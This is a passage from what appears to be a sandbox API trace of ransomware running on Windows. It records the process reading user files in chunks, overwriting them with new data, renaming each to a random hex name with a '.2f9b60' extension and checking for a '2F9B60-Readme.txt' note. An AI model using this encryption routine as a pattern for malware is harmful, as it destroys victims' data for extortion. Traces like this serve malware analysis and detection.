Flags=0x8, Size=0x20) returned 0x202a7670 [0120.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7be0 [0120.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0120.139] NtQuerySystemTime (in: CurrentTime=0x40daf620 | out: CurrentTime=0x40daf620*=132462177255406000) returned 0x0 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x2547e17c [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x1c32a227 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x74fb1e25 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x40119235 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x5c4ccd65 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x139e8ba [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x11efd577 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x17a6ff2f [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x121d4eae [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0xac0f244 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x787d2be8 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x3f55e352 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x14938ef5 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x1ffa10b7 [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x6fb4e53c [0120.139] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x66e5a478 [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x4657e119 [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x4f9de8a0 [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x5d61de8e [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x2d77ca00 [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x349e89bc [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0xc11a21d [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x60913f90 [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x1236b064 [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x6e4256e9 [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x545748e2 [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x4d93cbbd [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x1ac9dc8d [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x33b3739f [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x472ad5dd [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x1cef5154 [0120.140] RtlRandomEx (in: Seed=0x40daf610 | out: Seed=0x40daf610) returned 0x2269947d [0120.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c40 [0120.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0120.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f40 [0120.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0120.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d60) returned 1 [0120.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0120.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2048e2e0 [0120.150] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.150] ReadFile (in: hFile=0x183c, lpBuffer=0x2048e2e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40daf680, lpOverlapped=0x0 | out: lpBuffer=0x2048e2e0*, lpNumberOfBytesRead=0x40daf680*=0x3c00, lpOverlapped=0x0) returned 1 [0120.151] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0120.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0120.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0120.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0120.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20491ef0 [0120.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0120.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0120.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d60) returned 1 [0120.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0120.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98020) returned 1 [0120.152] WriteFile (in: hFile=0x183c, lpBuffer=0x20491ef0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40daf680, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesWritten=0x40daf680*=0x3c00, lpOverlapped=0x0) returned 1 [0122.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20491ef0) returned 1 [0122.184] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.184] ReadFile (in: hFile=0x183c, lpBuffer=0x2048e2e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40daf680, lpOverlapped=0x0 | out: lpBuffer=0x2048e2e0*, lpNumberOfBytesRead=0x40daf680*=0x3c00, lpOverlapped=0x0) returned 1 [0122.184] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0122.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0122.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0122.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0122.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20491ef0 [0122.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260890 [0122.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633e0 [0122.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633e0) returned 1 [0122.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0122.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0122.185] WriteFile (in: hFile=0x183c, lpBuffer=0x20491ef0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40daf680, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesWritten=0x40daf680*=0x3c00, lpOverlapped=0x0) returned 1 [0122.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20491ef0) returned 1 [0122.187] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x113bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.187] ReadFile (in: hFile=0x183c, lpBuffer=0x2048e2e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x40daf680, lpOverlapped=0x0 | out: lpBuffer=0x2048e2e0*, lpNumberOfBytesRead=0x40daf680*=0x3c00, lpOverlapped=0x0) returned 1 [0122.187] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x113bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0122.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0122.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0122.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202604a0) returned 1 [0122.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20491ef0 [0122.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202604a0 [0122.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263650 [0122.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263650) returned 1 [0122.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0122.188] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0122.188] WriteFile (in: hFile=0x183c, lpBuffer=0x20491ef0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x40daf680, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesWritten=0x40daf680*=0x3c00, lpOverlapped=0x0) returned 1 [0122.190] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20491ef0) returned 1 [0122.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced94e0 [0122.190] SetFilePointerEx (in: hFile=0x183c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.190] WriteFile (in: hFile=0x183c, lpBuffer=0x133a20*, nNumberOfBytesToWrite=0x156, lpNumberOfBytesWritten=0x40daf730, lpOverlapped=0x0 | out: lpBuffer=0x133a20*, lpNumberOfBytesWritten=0x40daf730*=0x156, lpOverlapped=0x0) returned 1 [0122.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd970d0 [0122.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503810 [0122.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0122.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c70) returned 1 [0122.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x202a7c70 [0122.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0122.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0122.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7c10) returned 1 [0122.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503810) returned 1 [0122.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0122.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9c490 [0122.937] sprintf (in: _Dest=0x1cd9c490, _Format="%c%c" | out: _Dest="8c") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c492, _Format="%c%c" | out: _Dest="c3") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c494, _Format="%c%c" | out: _Dest="e4") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c496, _Format="%c%c" | out: _Dest="45") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c498, _Format="%c%c" | out: _Dest="c5") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c49a, _Format="%c%c" | out: _Dest="c1") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c49c, _Format="%c%c" | out: _Dest="9d") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c49e, _Format="%c%c" | out: _Dest="43") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c4a0, _Format="%c%c" | out: _Dest="ed") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c4a2, _Format="%c%c" | out: _Dest="e6") returned 2 [0122.937] sprintf (in: _Dest=0x1cd9c4a4, _Format="%c%c" | out: _Dest="9c") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4a6, _Format="%c%c" | out: _Dest="cd") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4a8, _Format="%c%c" | out: _Dest="22") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4aa, _Format="%c%c" | out: _Dest="aa") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4ac, _Format="%c%c" | out: _Dest="8a") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4ae, _Format="%c%c" | out: _Dest="da") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4b0, _Format="%c%c" | out: _Dest="6a") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4b2, _Format="%c%c" | out: _Dest="2a") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4b4, _Format="%c%c" | out: _Dest="9c") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4b6, _Format="%c%c" | out: _Dest="25") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4b8, _Format="%c%c" | out: _Dest="21") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4ba, _Format="%c%c" | out: _Dest="64") returned 2 [0122.938] sprintf (in: _Dest=0x1cd9c4bc, _Format="%c%c" | out: _Dest="f9") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4be, _Format="%c%c" | out: _Dest="f1") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4c0, _Format="%c%c" | out: _Dest="20") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4c2, _Format="%c%c" | out: _Dest="f8") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4c4, _Format="%c%c" | out: _Dest="ca") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4c6, _Format="%c%c" | out: _Dest="cc") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4c8, _Format="%c%c" | out: _Dest="f7") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4ca, _Format="%c%c" | out: _Dest="6a") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4cc, _Format="%c%c" | out: _Dest="5a") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4ce, _Format="%c%c" | out: _Dest="e4") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4d0, _Format="%c%c" | out: _Dest="d2") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4d2, _Format="%c%c" | out: _Dest="22") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4d4, _Format="%c%c" | out: _Dest="49") returned 2 [0122.939] sprintf (in: _Dest=0x1cd9c4d6, _Format="%c%c" | out: _Dest="2e") returned 2 [0122.939] RtlInitAnsiString (in: DestinationString=0x40daf7a8, SourceString="8cc3e445c5c19d43ede69ccd22aa8ada6a2a9c252164f9f120f8caccf76a5ae4d222492e" | out: DestinationString="8cc3e445c5c19d43ede69ccd22aa8ada6a2a9c252164f9f120f8caccf76a5ae4d222492e") [0122.940] RtlAnsiStringToUnicodeString (in: DestinationString=0x40daf778, SourceString="8cc3e445c5c19d43ede69ccd22aa8ada6a2a9c252164f9f120f8caccf76a5ae4d222492e", AllocateDestinationString=1 | out: DestinationString="8cc3e445c5c19d43ede69ccd22aa8ada6a2a9c252164f9f120f8caccf76a5ae4d222492e") returned 0x0 [0122.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0d30 [0122.940] wcscat (in: _Dest=0x1cd65080, _Source="8cc3e445c5c19d43ed" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8cc3e445c5c19d43ed") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8cc3e445c5c19d43ed" [0122.940] wcscat (in: _Dest=0x1cd65080, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8cc3e445c5c19d43ed.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8cc3e445c5c19d43ed.2f9b60" [0122.940] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8cc3e445c5c19d43ed.2f9b60", NtPathName=0x40daf750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\8cc3e445c5c19d43ed.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0122.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc6) returned 0x1186e0 [0123.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1186e0) returned 1 [0123.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf49620) returned 1 [0123.223] NtQueryInformationFile (in: FileHandle=0x183c, IoStatusBlock=0x40daf7b8, FileInformation=0x40daf7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x40daf7b8, FileInformation=0x40daf7c8) returned 0x0 [0123.223] NtSetInformationFile (FileHandle=0x183c, IoStatusBlock=0x40daf7b8, FileInformation=0x40daf7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0123.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65080) returned 1 [0123.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0d30) returned 1 [0123.248] FlushFileBuffers (hFile=0x183c) returned 1 [0123.255] CloseHandle (hObject=0x183c) returned 1 [0123.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad600 [0123.280] wcscpy (in: _Dest=0x202ad600, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\" [0123.280] wcscat (in: _Dest=0x202ad600, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" [0123.280] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\2f9b60-readme.txt")) returned 0x20 [0123.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad600) returned 1 [0123.280] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad6b0) returned 1 Thread: id = 1457 os_tid = 0x1918 [0120.155] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Yu db4qKs0XX_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\yu db4qks0xx_.mkv")) returned 0x20 [0120.155] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Yu db4qKs0XX_.mkv", dwFileAttributes=0x20) returned 1 [0120.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN\\Yu db4qKs0XX_.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qrslyt1kgwvz4rlipmrn\\yu db4qks0xx_.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1840 [0120.155] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x4117fd60 | out: lpFileSize=0x4117fd60*=68453) returned 1 [0120.156] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x10b61, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.156] ReadFile (in: hFile=0x1840, lpBuffer=0x4117fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4117fd28, lpOverlapped=0x0 | out: lpBuffer=0x4117fce0*, lpNumberOfBytesRead=0x4117fd28*=0x4, lpOverlapped=0x0) returned 1 [0120.156] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0120.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c10 [0120.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0120.157] NtQuerySystemTime (in: CurrentTime=0x4117fc20 | out: CurrentTime=0x4117fc20*=132462177255562000) returned 0x0 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x1dce7dd6 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x37d47730 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x1663b484 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x28e6dd49 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x11dcdfd4 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x3d6e4472 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x6ae3563c [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x618662de [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x71e9941d [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x77dcff8d [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x11efd577 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x878bf4a [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x729e7560 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x28b3b864 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x2f499e62 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x1ffa10b7 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x7cfc4a2b [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x561db0a5 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x5995bf80 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x588278ee [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0xf35340c [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x1ee2f295 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x32f35ec0 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x5e942003 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x2dcd7b80 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x490a489a [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x30153d9f [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x539a46bd [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x3957471f [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x5e83d63 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x534da6e8 [0120.157] RtlRandomEx (in: Seed=0x4117fc10 | out: Seed=0x4117fc10) returned 0x29906cea [0120.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7ca0 [0120.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0120.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7c70 [0120.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0120.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0120.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d60) returned 1 [0120.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202c8910 [0120.164] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.164] ReadFile (in: hFile=0x1840, lpBuffer=0x202c8910, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4117fc80, lpOverlapped=0x0 | out: lpBuffer=0x202c8910*, lpNumberOfBytesRead=0x4117fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0120.164] SetFilePointerEx (in: hFile=0x1840, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd98020 [0120.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0120.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0120.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7d60) returned 1 [0120.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x202b20b0 [0120.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7d60 [0120.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a75b0 [0120.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a75b0) returned 1 [0120.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0120.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 